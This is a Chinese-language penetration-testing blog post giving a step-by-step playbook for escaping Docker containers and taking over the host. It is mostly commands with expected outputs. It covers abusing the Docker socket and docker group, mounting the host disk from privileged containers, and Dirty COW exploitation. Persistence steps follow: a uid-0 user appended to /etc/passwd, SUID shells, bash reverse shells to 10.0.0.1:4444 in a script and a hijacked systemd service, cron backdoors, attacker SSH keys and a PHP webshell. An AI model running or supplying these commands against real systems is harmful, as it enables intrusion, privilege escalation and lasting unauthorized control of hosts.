2025-10-26
渗透测试
00
请注意,本文编写于 40 天前,最后修改于 40 天前,其中某些信息可能已经过时。

目录

Docker逃逸技巧总结
1. 环境检测
1.1 检查是否在Docker容器中
2.1 检查Docker Socket
3.1 挂载宿主机文件系统
4. 高级逃逸技术
4.1 通过/proc/self/root逃逸
5.1 检查Docker组权限
6.1 用户命名空间
7.1 检查Cgroup
8.1 环境检测
8.3 逃逸结果验证
9.1 宿主机后门
9.2 挂载点后门
11. Docker逃逸后的提权操作
11.1 逃逸后的权限检查
12.1 通过特权容器挂载提权
12.2 通过Docker Socket提权
12.3 通过Docker组权限提权
13. 常见失败情况和解决方案
13.1 权限不足
13.2 文件不存在
13.3 命令不可用
13.4 网络连接失败
13.5 文件系统只读

Docker逃逸技巧总结

1. 环境检测

1.1 检查是否在Docker容器中

  • 检查是否存在/.dockerenv文件

    # 检查命令 ls -la /.dockerenv # 预期输出(在容器中) -rwx------ 1 root root 0 Apr 1 10:00 /.dockerenv # 预期输出(不在容器中) ls: cannot access '/.dockerenv': No such file or directory # 失败的输出(无法确定是否在容器中) ls: Permission denied
  • 检查是否存在/run/.containerenv文件

    # 检查命令 ls -la /run/.containerenv # 预期输出(在容器中) -rwx------ 1 root root 123 Apr 1 10:00 /run/.containerenv # 失败的输出(不在容器中或无法访问) ls: cannot access '/run/.containerenv': No such file or directory

1.2 检查特权模式

  • 读取/proc/self/status中的CapEff字段
    # 检查命令 cat /proc/self/status | grep CapEff # 特权模式下的预期输出 CapEff: 0000003fffffffff # 非特权模式下的预期输出 CapEff: 0000000000000000 # 失败的输出(无法读取文件) cat: /proc/self/status: Permission denied # 无法利用的情况: # 1. 容器以非特权模式运行 # 2. /proc文件系统被挂载为只读 # 3. SELinux/AppArmor策略限制访问

1.3 检查敏感挂载点

  • 检查是否存在以下挂载点:
    # 检查命令 mount | grep -E "(/host|docker.sock|/proc|/sys|/dev)" # 发现宿主机挂载的预期输出 /dev/sda1 on /host type ext4 (rw,relatime) # 发现Docker Socket挂载的预期输出 /var/run/docker.sock on /var/run/docker.sock type sock (rw,relatime) # 失败的输出(未发现敏感挂载点) (无输出) # 失败的输出(权限不足) mount: Permission denied # 无法利用的情况: # 1. 没有敏感目录挂载到容器中 # 2. 挂载点为只读 # 3. 挂载点被安全策略限制访问

1.4 检查capabilities

  • 分析容器的capabilities,重点关注危险capabilities:
    # 检查命令 cat /proc/self/status | grep CapEff # 解码capabilities capsh --decode=0000003fffffffff # 预期输出 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read # 失败的输出(无法解码) Failed to decode # 无法利用的情况: # 1. 容器没有危险的capabilities # 2. capabilities被安全策略限制 # 3. capsh命令不可用

2. Docker Socket利用

2.1 检查Docker Socket

  • 检查/var/run/docker.sock是否存在

    # 检查命令 ls -la /var/run/docker.sock # 预期输出 srw-rw---- 1 root docker 0 Apr 1 10:00 /var/run/docker.sock # 失败的输出(文件不存在) ls: cannot access '/var/run/docker.sock': No such file or directory # 失败的输出(权限不足) ls: cannot access '/var/run/docker.sock': Permission denied
  • 检查权限是否为0666或可写

    # 检查命令 ls -l /var/run/docker.sock | awk '{print $1}' # 可写权限的预期输出 srw-rw-rw- # 不可写的输出 srw-rw---- # 失败的输出(无法访问) ls: cannot access '/var/run/docker.sock': Permission denied # 无法利用的情况: # 1. Docker Socket文件不存在 # 2. 当前用户不在docker组中且权限不足 # 3. SELinux/AppArmor策略阻止访问 # 4. Docker守护进程未运行

2.2 利用方式

  • 使用curl通过Unix Socket与Docker守护进程通信

    # 列出容器命令 curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq . # 预期输出 [ { "Id": "abc123...", "Image": "ubuntu:latest", "Command": "/bin/bash", "State": "running", "Status": "Up 10 minutes" } ] # 失败的输出(连接失败) curl: (7) Couldn't connect to server # 失败的输出(权限不足) curl: (56) Recv failure: Connection reset by peer # 失败的输出(JSON解析失败) parse error: Invalid numeric literal at line 1, column 2 # 无法利用的情况: # 1. Docker守护进程未运行 # 2. Socket文件权限不足 # 3. SELinux/AppArmor阻止访问 # 4. Docker API版本不兼容
  • 使用nc通过Unix Socket与Docker守护进程通信

    # 列出容器命令 echo -e "GET /containers/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock # 预期输出 HTTP/1.0 200 OK Content-Type: application/json Date: Sat, 01 Apr 2023 10:00:00 GMT Content-Length: 123 [{"Id":"abc123...","Image":"ubuntu:latest","Command":"/bin/bash","State":"running","Status":"Up 10 minutes"}] # 失败的输出(连接失败) Ncat: Connection refused. # 失败的输出(权限不足) Ncat: Permission denied. # 无法利用的情况: # 1. nc命令不可用 # 2. Socket文件权限不足 # 3. SELinux/AppArmor阻止访问
  • 创建特权容器,将宿主机根目录挂载到容器内

    # 创建特权容器的JSON配置 { "Image": "alpine", "Cmd": ["/bin/sh"], "Privileged": true, "HostConfig": { "Binds": ["/:/host"] } } # 创建容器命令 curl -s -X POST --unix-socket /var/run/docker.sock \ -H "Content-Type: application/json" \ http://localhost/containers/create \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Privileged":true,"HostConfig":{"Binds":["/:/host"]}}' # 预期输出 {"Id":"container_id","Warnings":[]} # 失败的输出(权限不足) {"message":"permission denied"} # 失败的输出(镜像不存在) {"message":"No such image: alpine"} # 失败的输出(JSON格式错误) {"message":"invalid character 'x' looking for beginning of value"} # 无法利用的情况: # 1. Docker守护进程配置禁止特权容器 # 2. 当前用户权限不足 # 3. SELinux/AppArmor策略阻止创建特权容器 # 4. 镜像仓库不可访问

3. 特权模式利用

3.1 挂载宿主机文件系统

  • 创建挂载点(如/host

    # 创建挂载点命令 mkdir /host # 预期输出 (无输出表示成功) # 失败的输出(权限不足) mkdir: cannot create directory '/host': Permission denied # 失败的输出(目录已存在) mkdir: cannot create directory '/host': File exists
  • 尝试挂载宿主机设备文件:

    # 挂载命令 mount /dev/sda1 /host # 预期输出 (无输出表示成功) # 失败的输出(设备不存在) mount: /dev/sda1: can't find block device # 失败的输出(权限不足) mount: /host: must be superuser to use mount. # 失败的输出(设备被占用) mount: /dev/sda1 already mounted or /host busy # 失败的输出(文件系统不支持) mount: /dev/sda1: unknown filesystem type 'LVM2_member' # 无法利用的情况: # 1. 容器未以特权模式运行 # 2. /dev目录未正确挂载 # 3. SELinux/AppArmor阻止挂载操作 # 4. 设备文件不存在或类型不支持

3.2 挂载关键文件系统

  • 挂载proc文件系统:mount -t proc proc /host/proc

    # 挂载命令 mount -t proc proc /host/proc # 预期输出 (无输出表示成功) # 失败的输出(权限不足) mount: /host/proc: must be superuser to use mount. # 失败的输出(目录不存在) mount: mount point /host/proc does not exist # 无法利用的情况: # 1. 容器未以特权模式运行 # 2. 挂载点目录不存在 # 3. SELinux/AppArmor阻止挂载操作
  • 挂载sysfs文件系统:mount -t sysfs sysfs /host/sys

  • 挂载devtmpfs文件系统:mount -t devtmpfs devtmpfs /host/dev

4. 高级逃逸技术

4.1 通过/proc/self/root逃逸

  • 检查/proc/self/root是否存在

    # 检查命令 ls -la /proc/self/root # 预期输出 lrwxrwxrwx 1 root root 0 Apr 1 10:00 /proc/self/root -> / # 失败的输出(文件不存在) ls: cannot access '/proc/self/root': No such file or directory # 失败的输出(权限不足) ls: cannot read symbolic link '/proc/self/root': Permission denied
  • 通过该路径访问宿主机文件系统

    # 访问宿主机文件系统命令 ls -la /proc/self/root/etc # 预期输出 total 1540 drwxr-xr-x 80 root root 4096 Apr 1 10:00 . drwxr-xr-x 22 root root 4096 Apr 1 10:00 .. drwxr-xr-x 2 root root 4096 Apr 1 10:00 bin ... # 失败的输出(无法访问) ls: cannot access '/proc/self/root/etc': Permission denied # 失败的输出(路径不存在) ls: cannot access '/proc/self/root/etc': No such file or directory # 无法利用的情况: # 1. /proc文件系统被限制访问 # 2. SELinux/AppArmor阻止访问 # 3. 容器配置阻止了root路径访问
  • 读取宿主机敏感文件如/etc/passwd

    # 读取命令 cat /proc/self/root/etc/passwd | head -3 # 预期输出 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin # 失败的输出(权限不足) cat: /proc/self/root/etc/passwd: Permission denied # 失败的输出(文件不存在) cat: /proc/self/root/etc/passwd: No such file or directory

4.2 容器运行时利用

  • 检查可用的容器运行时:

    # 检查命令 which runc crun containerd # 预期输出 /usr/bin/runc /usr/bin/crun /usr/bin/containerd # 失败的输出(命令不存在) /usr/bin/which: no runc in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin) # 失败的输出(权限不足) which: cannot create /tmp/whichXXXXXX: Permission denied
  • 检查相关socket文件:

    # 检查命令 ls -la /run/containerd/containerd.sock /var/run/crio/crio.sock # 预期输出 srw-rw---- 1 root root 0 Apr 1 10:00 /run/containerd/containerd.sock ls: cannot access '/var/run/crio/crio.sock': No such file or directory # 失败的输出(权限不足) ls: cannot access '/run/containerd/containerd.sock': Permission denied

4.3 设备文件逃逸

  • 检查常见的设备文件:

    # 检查命令 ls -la /dev/sda /dev/vda # 预期输出 brw-rw---- 1 root disk 8, 0 Apr 1 10:00 /dev/sda ls: cannot access '/dev/vda': No such file or directory # 失败的输出(权限不足) ls: cannot access '/dev/sda': Permission denied
  • 尝试直接读取设备文件内容

    # 读取MBR命令 dd if=/dev/sda of=mbr.bin bs=512 count=1 2>/dev/null # 预期输出 1+0 records in 1+0 records out 512 bytes copied, 0.000123 s, 4.1 MB/s # 失败的输出(权限不足) dd: failed to open '/dev/sda': Permission denied # 失败的输出(设备不存在) dd: failed to open '/dev/sda': No such file or directory # 无法利用的情况: # 1. 容器未以特权模式运行 # 2. /dev目录未正确挂载 # 3. SELinux/AppArmor阻止设备访问 # 4. 设备文件不存在

5. Docker组利用

5.1 检查Docker组权限

  • 检查当前用户是否属于docker组

    # 检查命令 groups # 预期输出 user docker adm sudo # 或者 id # 预期输出 uid=1000(user) gid=1000(user) groups=1000(user),999(docker),4(adm),27(sudo) # 失败的输出(不在docker组) user adm sudo # 失败的输出(权限不足) groups: cannot find name for group ID 1000
  • 无需sudo即可使用Docker命令

    # 测试命令 docker ps # 预期输出 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES abc123def456 ubuntu "/bin/bash" 10 minutes ago Up 10 mins test_container # 失败的输出(权限不足) Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json: dial unix /var/run/docker.sock: connect: permission denied # 失败的输出(Docker未运行) Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? # 无法利用的情况: # 1. 当前用户不在docker组中 # 2. Docker守护进程未运行 # 3. SELinux/AppArmor阻止访问

5.2 利用方式

  • 直接运行容器挂载宿主机根目录

    # 挂载命令 docker run --rm -v /:/host alpine ls -la /host # 预期输出 total 88 drwxr-xr-x 22 root root 4096 Apr 1 10:00 . drwxr-xr-x 1 root root 4096 Apr 1 10:00 .. drwxr-xr-x 2 root root 4096 Apr 1 10:00 bin ... # 失败的输出(权限不足) docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.40/containers/create: dial unix /var/run/docker.sock: connect: permission denied. # 失败的输出(镜像不存在) Unable to find image 'alpine:latest' locally docker: Error response from daemon: pull access denied for alpine, repository does not exist or may require 'docker login': denied: requested access to the resource is denied. # 无法利用的情况: # 1. 当前用户不在docker组中 # 2. Docker守护进程配置禁止挂载根目录 # 3. SELinux/AppArmor阻止挂载操作 # 4. 镜像仓库不可访问
  • 使用docker run -v /:/host命令

  • 在挂载的目录中创建后门

    # 创建后门命令 docker run --rm -v /:/host alpine sh -c 'echo "backdoor_user:x:0:0:root:/root:/bin/bash" >> /host/etc/passwd' # 验证后门 docker run --rm -v /:/host alpine cat /host/etc/passwd | grep backdoor_user # 预期输出 backdoor_user:x:0:0:root:/root:/bin/bash # 失败的输出(权限不足) sh: can't create /host/etc/passwd: Permission denied # 失败的输出(文件系统只读) sh: can't create /host/etc/passwd: Read-only file system # 无法利用的情况: # 1. /etc目录被挂载为只读 # 2. SELinux/AppArmor阻止文件修改 # 3. 文件系统权限限制

6. 命名空间利用

6.1 用户命名空间

  • 检查用户命名空间是否可用:unshare -U
    # 检查命令 unshare -U echo "user namespace works" # 预期输出 user namespace works # 失败的输出(不支持) unshare: unshare failed: Operation not permitted # 失败的输出(权限不足) unshare: cannot unshare: Permission denied # 无法利用的情况: # 1. 内核未启用用户命名空间 # 2. SELinux/AppArmor阻止命名空间创建 # 3. 系统配置禁用命名空间

6.2 Mount命名空间

  • 检查mount命名空间是否可用:unshare -m
    # 检查命令 unshare -m echo "mount namespace works" # 预期输出 mount namespace works # 失败的输出(不支持) unshare: unshare failed: Operation not permitted # 无法利用的情况: # 1. 内核未启用mount命名空间 # 2. SELinux/AppArmor阻止命名空间创建

7. Cgroup利用

7.1 检查Cgroup

  • 检查/sys/fs/cgroup目录是否存在

    # 检查命令 ls -la /sys/fs/cgroup # 预期输出 total 0 dr-xr-xr-x 15 root root 320 Apr 1 10:00 . drwxr-xr-x 9 root root 0 Apr 1 10:00 .. dr-xr-xr-x 2 root root 0 Apr 1 10:00 blkio ... # 失败的输出(目录不存在) ls: cannot access '/sys/fs/cgroup': No such file or directory # 失败的输出(权限不足) ls: cannot read symbolic link '/sys/fs/cgroup': Permission denied
  • 检查是否可写,可能存在逃逸机会

    # 检查命令 touch /sys/fs/cgroup/test_file 2>/dev/null && echo "Writable" || echo "Not writable" # 可写的预期输出 Writable # 不可写的预期输出 Not writable # 失败的输出(权限不足) touch: cannot touch '/sys/fs/cgroup/test_file': Permission denied # 无法利用的情况: # 1. Cgroup目录不存在 # 2. SELinux/AppArmor阻止写入 # 3. 文件系统只读 # 4. 内核配置禁用相关功能

8. 自动化逃逸流程

8.1 环境检测

  1. 检查Docker版本

    # 检查命令 docker --version # 预期输出 Docker version 20.10.14, build a224086 # 失败的输出(命令不存在) bash: docker: command not found # 失败的输出(权限不足) docker: Got permission denied while trying to connect to the Docker daemon socket
  2. 检查当前用户权限

    # 检查命令 id # 预期输出 uid=1000(user) gid=1000(user) groups=1000(user),999(docker) # 失败的输出(权限不足) id: cannot find name for group ID 999
  3. 检查Docker组权限

    # 检查命令 groups | grep docker # 预期输出 user docker adm sudo # 失败的输出(不在docker组) (无输出)

8.2 逃逸方法选择

  1. 如果Docker socket可写,使用API逃逸
  2. 如果容器以特权模式运行,使用特权逃逸
  3. 如果存在宿主机挂载点,使用挂载逃逸

8.3 逃逸结果验证

  1. 检查是否可以访问宿主机文件系统

    # 验证命令 ls -la /host/etc/passwd # 预期输出 -rw-r--r-- 1 root root 2851 Apr 1 10:00 /host/etc/passwd # 失败的输出(无法访问) ls: cannot access '/host/etc/passwd': No such file or directory
  2. 检查是否可以访问宿主机进程

    # 验证命令 ps aux | wc -l # 宿主机进程较多的预期输出 123 # 容器内进程较少的输出(表明仍在容器中) 5

9. 后门创建

9.1 宿主机后门

  • 在宿主机上创建具有SUID位的shell

    # 创建后门命令 echo '#!/bin/bash\n/bin/bash -p' > /host/tmp/root_bash chmod 4755 /host/tmp/root_bash # 验证后门 ls -la /host/tmp/root_bash # 预期输出 -rwsr-xr-x 1 root root 30 Apr 1 10:00 /host/tmp/root_bash # 失败的输出(权限不足) chmod: changing permissions of '/host/tmp/root_bash': Operation not permitted # 失败的输出(目录不存在) bash: /host/tmp/root_bash: No such file or directory # 无法利用的情况: # 1. /tmp目录被挂载为只读 # 2. SELinux/AppArmor阻止SUID位设置 # 3. 文件系统不支持SUID位
  • 示例:#!/bin/bash\n/bin/bash -p

9.2 挂载点后门

  • 在挂载点创建反向shell

    # 创建反向shell命令 echo '#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &' > /host/tmp/reverse_shell chmod +x /host/tmp/reverse_shell # 验证后门 ls -la /host/tmp/reverse_shell # 预期输出 -rwxr-xr-x 1 root root 58 Apr 1 10:00 /host/tmp/reverse_shell # 失败的输出(权限不足) chmod: changing permissions of '/host/tmp/reverse_shell': Operation not permitted
  • 示例:bash -i >& /dev/tcp/IP/PORT 0>&1 &

11. Docker逃逸后的提权操作

11.1 逃逸后的权限检查

  • 检查当前用户身份:whoami

    # 检查命令 whoami # 预期输出 user # 失败的输出(命令不存在) bash: whoami: command not found
  • 检查用户组信息:groups

    # 检查命令 groups # 预期输出 user docker adm sudo # 失败的输出(权限不足) groups: cannot find name for group ID 1000
  • 检查sudo权限:sudo -l

    # 检查命令 sudo -l # 有sudo权限的预期输出 Matching Defaults entries: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User user may run the following commands on this host: (ALL : ALL) ALL # 无sudo权限的输出 [sudo] password for user: user is not in the sudoers file. This incident will be reported. # 失败的输出(sudo命令不存在) bash: sudo: command not found
  • 检查可用的SUID/SGID文件:find / -perm -4000 2>/dev/null

    # 检查命令 find / -perm -4000 2>/dev/null | head -5 # 预期输出 /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd # 失败的输出(权限不足) find: '/root': Permission denied find: '/etc/ssl/private': Permission denied # 失败的输出(find命令不存在) bash: find: command not found

11.2 宿主机文件系统访问

  • 读取敏感配置文件:

    # 读取/etc/passwd cat /host/etc/passwd | head -3 # 预期输出 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin # 失败的输出(权限不足) cat: /host/etc/passwd: Permission denied # 失败的输出(文件不存在) cat: /host/etc/passwd: No such file or directory
  • 写入后门文件:

    # 在/etc/passwd中添加用户 echo 'backdoor:$1$backdoor$backdoorbackdoorbackdoorb0:0:0:root:/root:/bin/bash' >> /host/etc/passwd # 验证添加 tail -1 /host/etc/passwd # 预期输出 backdoor:$1$backdoor$backdoorbackdoorbackdoorb0:0:0:root:/root:/bin/bash # 失败的输出(权限不足) bash: /host/etc/passwd: Permission denied # 失败的输出(文件系统只读) bash: /host/etc/passwd: Read-only file system

11.3 内核漏洞利用

  • 检查内核版本:uname -a

    # 检查命令 uname -a # 预期输出 Linux hostname 4.15.0-142-generic #146-Ubuntu SMP Tue Apr 13 01:12:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux # 失败的输出(命令不存在) bash: uname: command not found
  • 检查可利用的内核漏洞:

    # 检查Dirty COW (CVE-2016-5195) # 内核版本 < 4.8.3 可能受影响 # 检查Dirty Pipe (CVE-2022-0847) # 内核版本 5.8 <= version <= 5.16.11 可能受影响 # 检查PwnKit (CVE-2021-4034) # polkit 版本 < 0.105-31 可能受影响 # 失败的输出(无法确定版本) (无法获取相关信息)
  • 编译并运行内核漏洞利用程序

    # 编译Dirty COW利用程序 gcc -pthread dirtycow.c -o dirtycow # 运行利用程序 ./dirtycow /etc/passwd # 预期输出 [+] Exploit started [+] Exploit successful # 失败的输出(编译失败) dirtycow.c:1:2: error: #error "This is a test error" # 失败的输出(运行失败) [-] Exploit failed [-] Unable to exploit vulnerability # 无法利用的情况: # 1. 编译器不可用 # 2. 内核已修补相关漏洞 # 3. SELinux/AppArmor阻止利用 # 4. 利用程序与目标系统不兼容

11.4 SUID文件利用

  • 查找系统中的SUID文件:find / -perm -4000 2>/dev/null

    # 查找命令 find / -perm -4000 2>/dev/null | head -5 # 预期输出 /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd # 失败的输出(权限不足) find: '/root': Permission denied
  • 利用常见的SUID文件提权:

    # 利用bash -p bash -p # 预期输出 bash-4.4# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=1000(user),999(docker) # 失败的输出(bash无SUID位) $ id uid=1000(user) gid=1000(user) groups=1000(user),999(docker) # 利用find find . -exec /bin/sh -p \; -quit # 预期输出 $ id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=1000(user),999(docker) # 失败的输出(find无SUID位) find: failed to execute /bin/sh: Permission denied # 无法利用的情况: # 1. SUID文件不存在或已被移除 # 2. SELinux/AppArmor阻止利用 # 3. 文件系统挂载选项阻止SUID执行

11.5 定时任务利用

  • 检查可写的定时任务:

    # 检查可写的定时任务 ls -la /etc/cron* /var/spool/cron/crontabs/ # 可写的预期输出 -rw-r--r-- 1 root root 722 Apr 1 10:00 /etc/crontab -rw-rw-rw- 1 root root 0 Apr 1 10:00 /etc/cron.d/writable_cron # 失败的输出(权限不足) ls: cannot access '/etc/crontab': Permission denied # 失败的输出(目录不存在) ls: cannot access '/var/spool/cron/crontabs/': No such file or directory
  • 创建定时任务后门:

    # 添加root权限的定时任务 echo "* * * * * root echo 'backdoor_user:x:0:0:root:/root:/bin/bash' >> /etc/passwd" > /etc/cron.d/backdoor # 验证定时任务 cat /etc/cron.d/backdoor # 预期输出 * * * * * root echo 'backdoor_user:x:0:0:root:/root:/bin/bash' >> /etc/passwd # 失败的输出(权限不足) bash: /etc/cron.d/backdoor: Permission denied # 无法利用的情况: # 1. 定时任务目录不可写 # 2. SELinux/AppArmor阻止写入 # 3. cron服务未运行或被禁用

11.6 服务利用

  • 检查可写的服务配置文件

    # 检查可写的服务配置文件 find /etc/systemd/system /lib/systemd/system -name "*.service" -writable 2>/dev/null # 可写的预期输出 /etc/systemd/system/vulnerable.service # 失败的输出(无匹配文件) (无输出) # 失败的输出(权限不足) find: '/etc/systemd/system': Permission denied
  • 修改服务配置以执行恶意代码

    # 修改服务配置 sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &"|' /etc/systemd/system/vulnerable.service # 重启服务 systemctl restart vulnerable.service # 失败的输出(权限不足) sed: couldn't open temporary file /etc/systemd/system/sedXXXXXX: Permission denied # 失败的输出(systemctl命令不存在) bash: systemctl: command not found # 无法利用的情况: # 1. 服务配置文件不可写 # 2. systemd未运行或被禁用 # 3. SELinux/AppArmor阻止修改

11.7 创建持久化后门

  • 创建具有SUID位的shell:chmod 4755 /tmp/backdoor

    # 创建后门 cp /bin/bash /tmp/backdoor chmod 4755 /tmp/backdoor # 验证后门 ls -la /tmp/backdoor # 预期输出 -rwsr-xr-x 1 root root 1113504 Apr 1 10:00 /tmp/backdoor # 失败的输出(权限不足) chmod: changing permissions of '/tmp/backdoor': Operation not permitted # 无法利用的情况: # 1. /tmp目录被挂载为nosuid # 2. SELinux/AppArmor阻止SUID位设置
  • 添加SSH公钥到authorized_keys文件

    # 创建目录 mkdir -p /root/.ssh # 添加公钥 echo "ssh-rsa AAAAB3NzaC1yc2E... user@attacker" >> /root/.ssh/authorized_keys # 设置权限 chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys # 失败的输出(权限不足) bash: /root/.ssh/authorized_keys: Permission denied # 无法利用的情况: # 1. /root目录不可写 # 2. SELinux/AppArmor阻止写入 # 3. SSH服务被禁用或配置阻止密钥认证
  • 创建webshell后门

    # 创建webshell echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php # 验证webshell ls -la /var/www/html/shell.php # 预期输出 -rw-r--r-- 1 www-data www-data 35 Apr 1 10:00 /var/www/html/shell.php # 失败的输出(权限不足) bash: /var/www/html/shell.php: Permission denied # 无法利用的情况: # 1. Web目录不可写 # 2. SELinux/AppArmor阻止写入 # 3. Web服务未运行
  • 设置定时任务维持访问

    # 添加定时任务 echo "*/5 * * * * /tmp/backdoor" >> /var/spool/cron/crontabs/root # 验证定时任务 crontab -l # 预期输出 */5 * * * * /tmp/backdoor # 失败的输出(权限不足) bash: /var/spool/cron/crontabs/root: Permission denied # 无法利用的情况: # 1. 定时任务目录不可写 # 2. cron服务未运行 # 3. SELinux/AppArmor阻止修改

12. 实际案例分析

12.1 通过特权容器挂载提权

  1. 挂载宿主机根文件系统到容器内:mount /dev/sda1 /host
  2. 在宿主机文件系统中创建后门:echo 'backdoor_user:password_hash:0:0:root:/root:/bin/bash' >> /host/etc/passwd
  3. 通过SSH或直接切换到新创建的用户获得root权限

12.2 通过Docker Socket提权

  1. 使用Docker Socket创建特权容器
  2. 在特权容器中挂载宿主机文件系统
  3. 修改宿主机上的关键文件实现提权

12.3 通过Docker组权限提权

  1. 利用docker组权限运行容器
  2. 挂载宿主机根目录到容器中
  3. 在容器中修改宿主机文件实现提权

13. 常见失败情况和解决方案

13.1 权限不足

  • 失败表现Permission deniedOperation not permitted
  • 原因分析
    • 当前用户权限不足
    • SELinux/AppArmor策略限制
    • 文件系统挂载选项限制
  • 解决方案
    • 寻找其他可利用的向量
    • 尝试绕过安全策略
    • 使用其他提权方法

13.2 文件不存在

  • 失败表现No such file or directory
  • 原因分析
    • 目标文件或目录不存在
    • 路径错误
    • 文件系统未正确挂载
  • 解决方案
    • 确认文件路径正确
    • 检查文件系统挂载情况
    • 寻找替代文件

13.3 命令不可用

  • 失败表现command not found
  • 原因分析
    • 命令未安装
    • PATH环境变量不正确
    • 命令被删除或重命名
  • 解决方案
    • 使用替代命令
    • 手动指定命令完整路径
    • 上传所需工具

13.4 网络连接失败

  • 失败表现Connection refusedConnection timed out
  • 原因分析
    • 目标服务未运行
    • 防火墙阻止连接
    • 网络配置错误
  • 解决方案
    • 检查服务状态
    • 修改连接参数
    • 使用其他通信方式

13.5 文件系统只读

  • 失败表现Read-only file system
  • 原因分析
    • 文件系统被挂载为只读
    • 磁盘空间不足
    • 文件系统损坏
  • 解决方案
    • 重新挂载为读写模式
    • 寻找可写的目录
    • 使用内存文件系统

本文作者:晏秋

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!